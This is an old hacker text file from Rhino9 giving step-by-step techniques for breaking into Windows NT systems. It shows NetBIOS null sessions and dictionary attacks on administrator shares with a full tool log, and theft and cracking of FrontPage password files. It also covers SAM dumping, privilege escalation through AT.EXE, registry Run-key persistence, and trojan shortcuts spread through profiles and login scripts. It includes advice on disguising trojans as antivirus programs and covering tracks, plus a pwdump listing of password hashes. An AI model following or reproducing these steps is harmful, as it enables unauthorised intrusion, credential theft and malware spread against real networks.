Windows NT Deconstruction Tatics
Step by Step NT Explotation Techniques
by vacuum of Rhino9 & Technotronic
vacuum@technotronic.com

Revision 5 10/01/98

Changes in Revision 5:
Refined some NET.EXE examples.
Included brief discussion of NetBus.
Samba

rdisk /s information.
Made this .zip more like a unix rootkit by included all the mentioned tools.
Cleaned up the overall layout.

I. Initial Access Strategy
    1.)NetBIOS Shares Using Microsoft Executables
      a. NET.EXE 's other uses
    2.)NAT The NetBIOS Auditing Tool
II.FrontPage Exploitation
    1.)FrontPage password decryption on unix servers with frontpage extensions.
III. Registry Vulnerabilities
    1.) rdisk /s to dump the SAM (Security Account Manager)
    2.) gaining access to the regisry with the AT.EXE command (local)
    3.) REGEDT32.EXE and REGEDIT.EXE
    4.) REGINI.EXE and REGDMP.EXE remote registry editing tools
    5.) Using the Registry to Execute Malicious Code
IV. Trojan .lnk (shortcuts)
    1.)Security hole within winnt\profiles and login scripts
V.  Workarounds for common sytsem policy restrictions
VI. PWDUMP Example

Included Files:
NTExploits.txt this document
samproof.txt   example of the sam hive from the registry
notepad.reg    Example .reg file that starts up notepad.exe upon login. Could be any executable.
service.pwd    Service.pwd frontpage password example.

NetBIOS Shares Using the standard Microsoft Executables
C:\>NBTSTAT -A 123.123.123.123
C:\>NBTSTAT -a www.target.com

       NetBIOS Remote Machine Name Table

   Name               Type         Status
---------------------------------------------
STUDENT1       <20>  UNIQUE      Registered
STUDENT1       <00>  UNIQUE      Registered
DOMAIN1        <00>  GROUP       Registered
DOMAIN1        <1C>  GROUP       Registered
DOMAIN1        <1B>  UNIQUE      Registered
STUDENT1       <03>  UNIQUE      Registered
DOMAIN1        <1E>  GROUP       Registered
DOMAIN1        <1D>  UNIQUE      Registered
..__MSBROWSE__.<01>  GROUP       Registered

MAC Address = 00-C0-4F-C4-8C-9D

After a NetBIOS share is found, it can be added to the LMHOSTS file.

Computername <03> UNIQUE Registered by the messenger service. This is the computername
                         to be added to the LMHOSTS file which is not necessary to use
                         NAT.EXE but is necessary if you would like to view the

remote
computer in Network Neighborhood.

Example of LMHOSTS file:
123.123.123.123  student1
24.3.9.12        target2

Now you can use the find computer options within NT or 95 to browse the shares.
An alternative option would be to use the very powerful NET.EXE

```
C:\>net view 123.123.123.123
C:\>net view \\student1

Shared resources at 123.123.123.123


Share name   Type         Used as  Comment

-------------------------------------------------------------------------------
NETLOGON     Disk                  Logon server share
Test         Disk
The command completed successfully.
```

NOTE: The C$ ADMIN$ and IPC$ shares are hidden and are not shown.

To connect to the ipc$ using a null session:
C:\net use \\111.111.111.111\ipc$ "" /user:""
The command completed successfully.

To connect to a normal share:
C:\net use x: \\123.123.123.123\test
The command completed successfully.

Now the command prompt or the NT Explorer can be used to access the remote drive X:

```
C:\net use
New connections will be remembered.


Status       Local     Remote                    Network

-------------------------------------------------------------------------------
OK           X:        \\123.123.123.123\test      Microsoft Windows Network
OK                     \\123.123.123.123\test      Microsoft Windows Network
The command completed successfully.
```

Here are some other interesting things that NET.EXE can be used for that are not related to NetBIOS.
NET localgroup <enter> will show which groups have been created on the local machine.

NET name <enter> will show you the name of the computer as well as who is logged in.

NET accounts <enter> will show the password restrictions for the user.

NET share <enter> displays the shares for the local machine including the $ shares which are supposed to be hidden.
NET share unsecure=c:\ will share the c:\ as unsecure

NET user <enter> will show you which accounts are created on the local machine.
NET user unsecure elite /add will add user unsecure with a password of elite.

NET start SERVICE.
NET start schedule will start the schedule service which can be used to access the complete registry on a local machine.

NET group

NET group Administrators unsecure /add will add the user unsecure to the Administrators group if run on a Domain Controller.

NAT (NetBIOS Auditing Tool)
This technique works the the default share type everyone full control. If you are denied access,
permissions have been applied to the share, and a password will be required.

NAT.EXE (NetBIOS Auditing Tool)
NAT.EXE [-o filename] [-u userlist] [-p passlist] <address>

OPTIONS

-o Specify the output file. All results from the scan will be written to the specified file, in addition to standard output.

-u Specify the file to read usernames from. Usernames will be read from the specified file when attempting to guess the password on the remote server. Usernames should appear one per line in the specified file.

-p Specify the file to read passwords from. Passwords will be read from the specified file when attempting to guess the password on the remote server. Passwords should appear one per line in the specified file.

<address>
Addresses should be specified in comma deliminated format, with no spaces. Valid address specifications include:
hostname - "hostname" is added
127.0.0.1-127.0.0.3, adds addresses 127.0.0.1 through 127.0.0.3
127.0.0.1-3, adds addresses 127.0.0.1 through 127.0.0.3
127.0.0.1-3,7,10-20, adds addresses 127.0.0.1 through 127.0.0.3, 127.0.0.7, 127.0.0.10 through 127.0.0.20.
hostname,127.0.0.1-3, adds "hostname" and 127.0.0.1 through 127.0.0.1
All combinations of hostnames and address ranges as specified above are valid.

NAT.EXE does all of the above techniques plus it will try Administrative shares ($), scan a range of IP addresses and use a dictionary file to crack the NetBIOS passwords. NAT.EXE is the
tool prefered by most hackers.

C:\nat -o vacuum.txt -u userlist.txt -p passlist.txt 204.73.131.10-204.73.131.30

[*]--- Reading usernames from userlist.txt
[*]--- Reading passwords from passlist.txt

[*]--- Checking host: 204.73.131.11
[*]--- Obtaining list of remote NetBIOS names

[*]--- Attempting to connect with name: *
[*]--- Unable to connect

[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Server time is Mon Dec 01 07:44:34 1997
[*]--- Timezone is UTC-6.0
[*]--- Remote server wants us to encrypt, telling it not to

[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to establish session

```
[*]--- Was not able to establish session with no password
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `password'
[*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `password'

[*]--- Obtained server information:

Server=[STUDENT1] User=[] Workgroup=[DOMAIN1] Domain=[]

[*]--- Obtained listing of shares:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk:     Remote Admin
        C$              Disk:     Default share
        IPC$            IPC:      Remote IPC
        NETLOGON        Disk:     Logon server share
        Test            Disk:

[*]--- This machine has a browse list:

        Server               Comment
        ---------            -------
        STUDENT1


[*]--- Attempting to access share: \\*SMBSERVER\
[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$
[*]--- Checking write access in: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$

[*]--- Attempting to access share: \\*SMBSERVER\C$
[*]--- WARNING: Able to access share: \\*SMBSERVER\C$
[*]--- Checking write access in: \\*SMBSERVER\C$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$

[*]--- Attempting to access share: \\*SMBSERVER\NETLOGON
[*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON
[*]--- Checking write access in: \\*SMBSERVER\NETLOGON
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON

[*]--- Attempting to access share: \\*SMBSERVER\Test
[*]--- WARNING: Able to access share: \\*SMBSERVER\Test
[*]--- Checking write access in: \\*SMBSERVER\Test
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\Test

[*]--- Attempting to access share: \\*SMBSERVER\D$
[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\ROOT
[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\WINNT$
[*]--- Unable to access

If Default share of Everyone/Full Control. Done it is hacked.

FrontPage Exploitation:
Most frontpage exploits compromise only the wwwroot directory and can be used to
change the
html of a site which has become a popular method of gaining fame in the hacker
community.

The following is a list of the Internet Information server files location
in relation to the local hard drive (C:) and the web (www.target.com)
```

```
C:\InetPub\wwwroot                                  <Home>
C:\InetPub\scripts                                  /Scripts
C:\InetPub\wwwroot\_vti_bin                         /_vti_bin
C:\InetPub\wwwroot\_vti_bin\_vti_adm                /_vti_bin/_vti_adm
C:\InetPub\wwwroot\_vti_bin\_vti_aut                /_vti_bin/_vti_aut
C:\InetPub\cgi-bin                                  /cgi-bin
C:\InetPub\wwwroot\srchadm                          /srchadm
C:\WINNT\System32\inetserv\iisadmin                 /iisadmin
C:\InetPub\wwwroot\_vti_pvt
C:\InetPub\wwwroot\samples\Search\QUERYHIT.HTM   Internet Information Index
Server sample
C:\Program Files\Microsoft FrontPage\_vti_bin
C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_aut
C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_adm
C:\WINNT\System32\inetserv\iisadmin\htmldocs\admin.htm  /iisadmin/isadmin

http://localhost:8814/iisadmin/iisnew.asp
where 8814 is a randomly chosen port. By default only localhost (127.0.0.1) has
access to the html
version of Internet Server Mangager HTML

Using FrontPage, a hacker may alter the html of a remote website often frontpage
webs
are left un-passworded.

On the FrontPage Explorer's File menu, choose Open FrontPage Web.
In the Getting Started dialog box, select Open an Existing FrontPage
Web and choose the FrontPage web you want to open.
Click More Webs if the web you want to open is not listed.
Click OK.
If you are prompted for your author name and password, you will have
to decrypt service.pwd, guess or move on.
Enter them in the Name and Password Required dialog box, and click OK.
Alter the existing page, or upload a page of your own.

Scanning PORT 80 (http) or 443 (https) options:

GET /_vti_inf.html                 #Ensures that frontpage server extensions
                                    are installed.
GET /_vti_pvt/service.pwd          #Contains the encrypted password files.
                                    Not used on IIS and WebSite servers
GET /_vti_pvt/authors.pwd          #On Netscape servers only. Encrypted
                                    names and passwords of authors.
GET /_vti_pvt/administrators.pwd
GET /_vti_log/author.log           #If author.log is there it will need to
                                    be cleaned to cover your tracks

GET /samples/search/queryhit.htm

Other ways of obtaining service.pwd
http://ftpsearch.com/index.html
search for service.pwd http://www.altavista.digital.com
advanced search for link:"/_vti_pvt/service.pwd"

Attempt to connect to the server using FTP.
port 21
login anonymous
password guest@unknown
the anonymous login will use the internally created IISUSR_computername
account to assign NT permissions.
An incorrect configuration may leave areas vulnerable to attack.
If you find a writeable anonymous ftp account, copy any executables (Netbus for
example)
to the c:\inetpub\scripts\ directory. The permissions on the scripts directory
are as follows:
Execute (including script). This is valuable, allowing you to
http://www.target.com/scripts/patch.exe

If service.pwd is obtained it will look similar to this:
Vacuum:SGXJVl6OJ9zkE
```

The above password is apple
Turn it into DES format:

Vacuum:SGXJVl6OJ9zkE:10:200:Vacuum:/users/Vacuum:/bin/bash

The run your favorite unix password cracker like john.exe (John The Ripper) against a large dictionary file or ntucrack.exe which will brute force crack the password.

Registry Vulnerabilities:
RDISK
rdisk /s will dump the security and sam portions of the registry into c:\winnt\repair directory.
It will also give you the option of creating an emergency repair diskette. This .zip includes SAMDUMP.EXE which can be used to extract passwords from emergency repair diskettes.
Within that directory there will be a sam._ file. It is ethically used for the emergency repair disk. If you have gained access to the local drive through physical access or through netbios shares, run rdisk /s There is a utility called SAMDUP included within this .zip that will extract the passwords.

GAINING ACCESS TO THE ENTIRE REGISTRY (Local)
For this to work, you will need to start the schedule service.
From the Command Prompt:

C:\>net start schedule
The Schedule service is starting.
The Schedule service was started successfully.

From a Command Prompt:

at <time> /interactive "regedt32.exe"

Where, <time> gets replaced with the current time plus about a minute to take care of your command typing time.
At <time>, regedt32.exe will appear on your desktop. This execution of regedt32.exe will be running in the system's
security context. As such, it will allow you access to the entire registry, including SAM and SECURITY hives.
Note that this will not work against a remote registry; you will need to do this locally on the system you want
to modify registry.

If sussessful, you will recive a message similar to the following:
Added a new job with job ID = 0

samproof.txt example showing the SAM can be opened

Where, <time> gets replaced with the current time plus about a minute to take care of your command typing time. At <time>, regedt32.exe will appear on your desktop. This execution of regedt32.exe will be running in the system's security context. As such, it will allow you access to the entire registry, including SAM and SECURITY hives. Note that this will not work against a remote registry; you will need to do this locally on the system you want to modify registry.

Basic remote registry access that does not include the sam and security hives:
Windows NT supports accessing a remote registry via the Registry Editor and also through the RegConnectRegistry() Win32 API call. The security on the following registry key dictates which users/groups can access the registry remotely:

```
HKEY_LOCAL_MACHINE\
 SYSTEM\
 CurrentControlSet\
 Control\
 SecurePipeServers\
 Winreg
```

If this key does not exist, remote access is not restricted, and only the underlying security on the individual keys control access. In a default Windows

NT workstation installation, this key does not exist. In a default Windows NT server installation, this key exists and grants administrators full control for remote registry operations, in addition to granting Everyone Create Subkey and Set Value access (special access).

REGEDT32.EXE
To access the registry of a REMOTE NT computer you must have ADMINISTRATOR RIGHTS.
NAT.EXE (covered in the NetBIOS Section) has often lead to compromised administrator
passwords. Administrators should turn off all shares, including C$

To modify the Registry on a remote computer
Start Regedt32
1 On the File menu, click Connect.
2 Type the name of the remote computer.
3 In the Users on Remote Computer dialog box, click the user that is interactively logged on, and then click OK. Typically, there is only one user logged on.
4 Double-click Local User to change HKEY_CURRENT_USER Registry settings.
5 Double-click Local Computer to change HKEY_LOCAL_MACHINE Registry settings.
6 On the File menu, click Save.
7 On the File menu, click Disconnect.

Notes:

You can access the Registry only on computers for which you have administrative permission. The computer can be running any version of Windows NT Workstation or Windows NT Server. You can only access two predefined keys (HKEY_USERS and HKEY_LOCAL_MACHINE) of a remote computer registry.

REGINI is a tool that can be used from the command line to manipulate (in our case write to) the registry on a REMOTE machine. A very closely related tool, REGDMP.EXE works very closely with the REGINI tool and can be used to "dump" the contents of the registry on a remote machine to a file for your browsing. It should be noted that the entire contents of the registry (The Security & SAM hives) will NOT be dumped as they were with the

at <time> /interactive "regedt32.exe"

technique mentioned above.

REGINI.EXE
```
usage: REGINI [-h hivefile hiveroot | -w Win95 Directory | -m \\machinename]
              [-i n] [-o outputWidth]
              [-c] codepage
              [-b] textFiles...
```

where: -h specifies a specify local hive to manipulate.
-w specifies the paths to a Windows 95 system.dat and user.dat files
-m specifies a remote Windows NT machine whose registry is to be manipulated.
-i n specifies the display indentation multiple. Default is 4
-o outputWidth specifies how wide the output is to be.

By default the outputWidth is set to the width of the console window if standard output has not been redirected to a file. In the latter case, an outputWidth of 240 is used.

-c specifies codepage of textFiles, if they are ANSI textFiles.

-b specifies that REGINI should be backward compatible with older versions of REGINI that did not strictly enforce line continuations and quoted strings Specifically, REG_BINARY, REG_RESOURCE_LIST and REG_RESOURCE_REQUIREMENTS_LIST data types did not need line continuations after the first number that gave the size of the data. It just kept looking on following lines until it found enough data values to equal the data length or hit invalid input. Quoted strings were only allowed in REG_MULTI_SZ. They could not be

specified around key or value names, or around values for REG_SZ or REG_EXPAND_SZ Finally, the old REGINI did not support the semicolon as an end of line comment character.

textFiles is one or more ANSI or Unicode text files with registry data.

The easiest way to understand the format of the input textFile is to use the REGDMP command with no arguments to dump the current contents of your NT Registry to standard out. Redirect standard out to a file and this file is acceptable as input to REGINI

Some general rules are:

Semicolon character is an end-of-line comment character, provided it is the first non-blank character on a line

Backslash character is a line continuation character. All characters from the backslash up to but not including the first non-blank character of the next line are ignored. If there is more than one space before the line continuation character, it is replaced by a single space.

Indentation is used to indicate the tree structure of registry keys The REGDMP program uses indentation in multiples of 4. You may use hard tab characters for indentation, but embedded hard tab

than one space before the line continuation character, it is replaced by a single space.

Indentation is used to indicate the tree structure of registry keys The REGDMP program uses indentation in multiples of 4. You may use hard tab characters for indentation, but embedded hard tab characters are converted to a single space regardless of their position

For key names, leading and trailing space characters are ignored and not included in the key name, unless the key name is surrounded by quotes. Imbedded spaces are part of a key name.

Key names can be followed by an Access Control List (ACL) which is a series of decimal numbers, separated by spaces, bracketed by a square brackets (e.g. [8 4 17]). The valid numbers and their meanings are:

1 - Administrators Full Access
2 - Administrators Read Access
3 - Administrators Read and Write Access
4 - Administrators Read, Write and Delete Access
5 - Creator Full Access
6 - Creator Read and Write Access
7 - World Full Access
8 - World Read Access
9 - World Read and Write Access
10 - World Read, Write and Delete Access
11 - Power Users Full Access
12 - Power Users Read and Write Access
13 - Power Users Read, Write and Delete Access
14 - System Operators Full Access
15 - System Operators Read and Write Access
16 - System Operators Read, Write and Delete Access
17 - System Full Access
18 - System Read and Write Access
19 - System Read Access
20 - Administrators Read, Write and Execute Access
21 - Interactive User Full Access
22 - Interactive User Read and Write Access
23 - Interactive User Read, Write and Delete Access

If there is an equal sign on the same line as a left square bracket then the equal sign takes precedence, and the line is treated as a

registry value.  If the text between the square brackets is the string DELETE with no spaces, then REGINI will delete the key and any values and keys under it.

For registry values, the syntax is:

value Name = type data

Leading spaces, spaces on either side of the equal sign and spaces between the type keyword and data are ignored, unless the value name is surrounded by quotes.

The value name may be left off or be specified by an at-sign character which is the same thing, namely the empty value name.  So the following two lines are identical:

= type data
@ = type data

This syntax means that you can't create a value with leading or or trailing spaces, an equal sign or an at-sign in the value name, unless you put the name in quotes.

Valid value types and format of data that follows are:

REG_SZ text
REG_EXPAND_SZ text
REG_MULTI_SZ "string1" "string2" ...
REG_DATE mm/dd/yyyy HH:MM DayOfWeek
REG_DWORD numberDWORD
REG_BINARY numberOfBytes numberDWORD(s)...
REG_NONE (same format as REG_BINARY)
REG_RESOURCE_LIST (same format as REG_BINARY)
REG_RESOURCE_REQUIREMENTS (same format as REG_BINARY)
REG_RESOURCE_REQUIREMENTS_LIST (same format as REG_BINARY)
REG_FULL_RESOURCE_DESCRIPTOR (same format as REG_BINARY)
REG_MULTISZ_FILE fileName
REG_BINARYFILE fileName

If no value type is specified, default is REG_SZ

For REG_SZ and REG_EXPAND_SZ, if you want leading or trailing spaces in the value text, surround the text with quotes.  The value text can contain any number of imbedded quotes, and REGINI will ignore them, as it only looks at the first and last character for quote characters.

For REG_BINARY, the value data consists of one or more numbers The default base for numbers is decimal.  Hexidecimal may be specified by using 0x prefix.  The first number is the number of data bytes, excluding the first number.  After the first number must come enough numbers to fill the value.  Each number represents one DWORD or 4 bytes.  So if the first number was 0x5 you would need two more numbers after that to fill the 5 bytes.  The high high order 3 bytes of the second DWORD would be ignored.

REGDMP.EXE

usage: REGDMP [-m \\machinename | -h hivefile hiveroot | -w Win95 Directory]
[-i n] [-o outputWidth]
[-s] [-o outputWidth] registryPath

where: -m specifies a remote Windows NT machine whose registry is to be manipula
ted.

```
       -h specifies a specify local hive to manipulate.
       -w specifies the paths to a Windows 95 system.dat and user.dat files
       -i n specifies the display indentation multiple.  Default is 4
       -o outputWidth specifies how wide the output is to be.  By default the
          outputWidth is set to the width of the console window if standard
          output has not been redirected to a file.  In the latter case, an
          outputWidth of 240 is used.
       -s specifies summary output.  Value names, type and first line of data

  registryPath specifies where to start dumping.

  If REGDMP detects any REG_SZ or REG_EXPAND_SZ that is missing the
  trailing null character, it will prefix the value string with the
  following text: (*** MISSING TRAILING NULL CHARACTER ***)
  The REGFIND tool can be used to clean these up, as this is a common
  programming error.

 Whenever specifying a registry path, either on the command line
 or in an input file, the following prefix strings can be used:

      HKEY_LOCAL_MACHINE
      HKEY_USERS
      HKEY_CURRENT_USER
      USER:

    Each of these strings can stand alone as the key name or be followed
    a backslash and a subkey path.
```

RedButton exploits a flaw allowing the creation of a new entry in the registry which describes a new drive share with access granted to Everyone. After reboot the new share is published on the network to Everyone. By sharing system drive one can obtain a copy of a password file updated by rdisk -s from the %SYSTEMROOT%\Repair directory among other things. Please visit www.ntsecurity.com for further information as this program relates directly to the registry and NetBIOS share topic covered in this paper.

Using the Registry to Execute Malicious Code

Note: Regedit.exe lets you export keys to .reg files which can also be very handy.

.REG files are used to directly change registry keys. The contents of a .reg file
are similar to the contents of the textfile used with REGINI.EXE

Example (included as notepad.reg) will launch notepad.exe on startup. This of course
could be any executable.

```
-- cut here --
REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Rhino9"="notepad.exe"

-- cut here --
```

Trojan Building:

This is the properties of a evil .lnk (Shortcut) file.
This technique uses the same strategy as the Internet Explorer 3.0 bug.
You will NOT find an example of a working trojan here. There are plenty of malicious executables available elsewhere on the internet. Keyloggers, sniffers, pwdump.exe, getadmin.exe are a few examples. This document is meant to increase trojan awareness, not provide step-by-step instructions for novice hackers.

To execute a .exe, .com, .bat, or .cmd
C:\WINDOWS\COMMAND\START.EXE /m command.com /c trojan.bat

For those of you familiar with NetBus 1.6 this would be a good way of launching patch.exe
Patch.exe is the client portion of this popular remote control trojan.
NOTE: Back Orifice currently does not run under the Windows NT environment.

To add an entry to the registry
C:\WINDOWS\COMMAND\START.EXE /m command.com /c trojan.reg

Where trojan.reg looks similar to the example notepad.reg shown above.
This evil shortcut can be propagated throughout NT domains through Profiles. Use START.EXE to cause a wide variety of commands / executables to be launched.

```
START ["title"] [/Dpath] [/I] [/MIN] [/MAX] [/SEPARATE | /SHARED]
      [/LOW | /NORMAL | /HIGH | /REALTIME] [/WAIT] [/B] [command/program]
[parameters]
```

| | |
|---|---|
| "title" | Title to display in window title bar. |
| path | Starting directory |
| I | The new environment will be the original environment passed to the cmd.exe and not the current environment. |
| MIN | Start window minimized |
| MAX | Start window maximized |
| SEPARATE | Start 16-bit Windows program in separate memory space |
| SHARED | Start 16-bit Windows program in shared memory space |
| LOW | Start application in the IDLE priority class |
| NORMAL | Start application in the NORMAL priority class |
| HIGH | Start application in the HIGH priority class |
| REALTIME | Start application in the REALTIME priority class |
| WAIT | Start application and wait for it to terminate |
| B | Start application without creating a new window. The application has ^C handling ignored. Unless the application enables ^C processing, ^Break is the only way to interrupt the application |

NOTE: /m is used to minimize the window another available option is /wait which will cause the program to wait until the other program exits /B starts application without creating new window. Play with these switches to get desired effect.

Starts a separate window to run a specified program or command.
start.exe and at.exe can be used in combination if the scheduler service is started.

Security hole within winnt\profiles and login scripts

Using the trojan building information above, trojans can be deseminated by strategically placing .lnk shortcuts or modifying the login script.

A malicious executable file can be planted in:
C:\WINNT\Profiles\Default User\Start Menu\Programs\Startup
Any user logging in to the machine for the first time would inherit your malicious shortcuts.
or
C:\WINNT\Profiles\userid of exiting user\Start Menu\Programs\Startup
would cause existing users to launch your malicious shortcuts on startup.

If roaming profiles are turned on, your malicious shortcut would follow the user as they logged on from machine to machine. If you install these .lnk files on the primary domain controller in the winnt\profiles\userid directory they would also pass themselves down to
the workstation when the user logged in. If you are unable to install your trojan in a roaming profile environment or the Primary Domain Controller the trojan would not spread unless placed into the login script.

C:\WINNT\SYSTEM32\REPL\IMPORT\SCRIPTS
Is the location that login scripts (.CMD) files are stored. Malicious code can be inserted into a new or existing login script. All users loging on to the machine would execute this code.

Here are the default NTFS permissions:
C:\WINNT\PROFILES and C:\WINNT\SYSTEM32\REPL\IMPORT\SCRIPTS

| | |
|---|---|
| Administrators | Full Control |
| Everyone | Read |
| System | Full Control |

FAT Partitions have no file level security. New users logging into the system would automatically execute this program everytime they login. If this is done on NT Workstation the attack will only spread to new users logging into the workstation locally. If this attack is performed on a NT domain controller it would spread throughout the domain profiles.

Hiding Detection
Replace an existing startup program with trojan. Rename your trojan so that it is not suspicious. Change the properties of the trojan's icon to look like the replaced icon. An antivirus program would be a great choice, you could even launch the real, renamed application after your trojan is loaded.

Workarounds for common sytsem policy restrictions:

System Policies are implemented to restrict the user from performing certain tasks.

Installing Printers:
If you do not have access to the printers folder from the Start/Settings/Printers or from the My Computer Icon.Click Network Neighborhood. Double-Click on your computername. The printers folder will be available. Open the folder and Double Click on the Add-Printer Icon to start the Printer Installation Wizard.

Control Panel Restrictions:
If you do not have access to the Control Panel from Start/Settings/Control Panel or from the My Computer Icon.Click Start/Help/Index (If you do not have help, you can open it using Explorer or My Computer. Double-click on C:\winnt\System32\control.hlpSearch for Control Panel
All of the normally displayed icons appear as help topics.
If you click on "Network" for example a Windows NT Help Screen appears with a nice little shortcut to the Control Panel Network Settings. Printers can also be installed using this method as well as the method mentioned above. Network options can also be accessed by right clicking on Network Neighborhood and then selecting properties.

Missing Command Prompt:
Start NT Explorer change tgo c:\winnt\system32 Double click on COMMAND.COM a command prompt will start. This is also well known, but included for thoroughness. Find Command is gone from Start/Find or from within NT Explorer:
To find a computer:If you have a command prompt:
Net View <Enter> is like Network Neighborhood Net View \\COMPUTERName is like Double Clicking on a computer within network neighborhood
Net use x: \\Computername\Sharename maps a drive letter to the share.
Finding a file is simple:dir filename.ext /sRun Command Missing:
This is rather obvious but I will include it as it is a valid system policy restriction. Navigate your Hard Disk using My Computer, winfile or NT Explorer. Double-click on the program you wish to run. Duh!
System Policies that I have NOT found a workaround for yet: If your display settings are restricted in control panel. If registry editing has been disabled.

PWDUMP.EXE
When running pwdump.exe it is a good idea to echo the results to a file. Otherwise, the results are just dumped to the screen.
pwdump >pwd.txt

NOTE: This is the pwdump from the webserver the Lan Manager password is set to "password".

Administrator:500:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C:Built-in account for administering the computer/domain::
Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:Built-in account for guest access to the

```
computer/domain::
STUDENT7$:1000:E318576ED428A1DEF4B21403EFDE40D0:1394CDD8783E60378EFEE40503127253
:::
ketan:1005:********************************:********************************:::
mari:1006:********************************:********************************:::
meng:1007:********************************:********************************:::
IUSR_STUDENT7:1014:582E6943331763A63BEC2B852B24C4D5:CBE9D641E74390AD9C1D0A962CE8
C24B:Internet Guest Account,Internet Server Anonymous Access::

Some SAMBA Commands:
smbmount is similar to the net use command.

usage: smbmount //server/service mount-point [options]
Version 2.0.2

-p port        Port to connect to (used only for testing)
-m max_xmit    max_xmit offered (used only for testing)

-s servername  Netbios name of server
-c clientname  Netbios name of client
-I machinename The hostname of the machine
-U username    Username sent to server
-D domain      Domain name
-u uid         uid the mounted files get
-g gid         gid the mounted files get
-f mode        permission the files get (octal notation)
-d mode        permission the dirs get (octal notation)
-C             Don't convert password to uppercase
-P password    Use this password
-n             Do not use any password
               If neither -P nor -n are given, you are
               asked for a password.
-h             print this help text

NMBLOOKUP is the equivalent of nbtstat.

Usage: nmblookup [-M] [-B bcast address] [-d debuglevel] name
Version 1.9.18p7
        -d debuglevel         set the debuglevel
        -B broadcast address  the address to use for broadcasts
        -U unicast   address  the address to use for unicast
        -M                    searches for a master browser
        -R                    set recursion desired in packet
        -S                    lookup node status as well
        -r                    Use root port 137 (Win95 only replies to this)
        -A                    Do a node status on <name> as an IP Address

Here is an example of nmblookup results, similar to nbtstat of course.
No interface found for address 0.0.0.0
Sending queries to 0.255.255.255
Looking up status of 207.98.201.199
received 7 names
        SATAN           <00> -         B <ACTIVE>
        SATAN           <20> -         B <ACTIVE>
        INet~Services   <1c> - <GROUP> B <ACTIVE>
        WORKGROUP       <00> - <GROUP> B <ACTIVE>
        IS~SATAN        <00> -         B <ACTIVE>
        SATAN           <03> -         B <ACTIVE>
        HAX0R           <03> -         B <ACTIVE>
num_good_sends=0 num_good_receives=0
```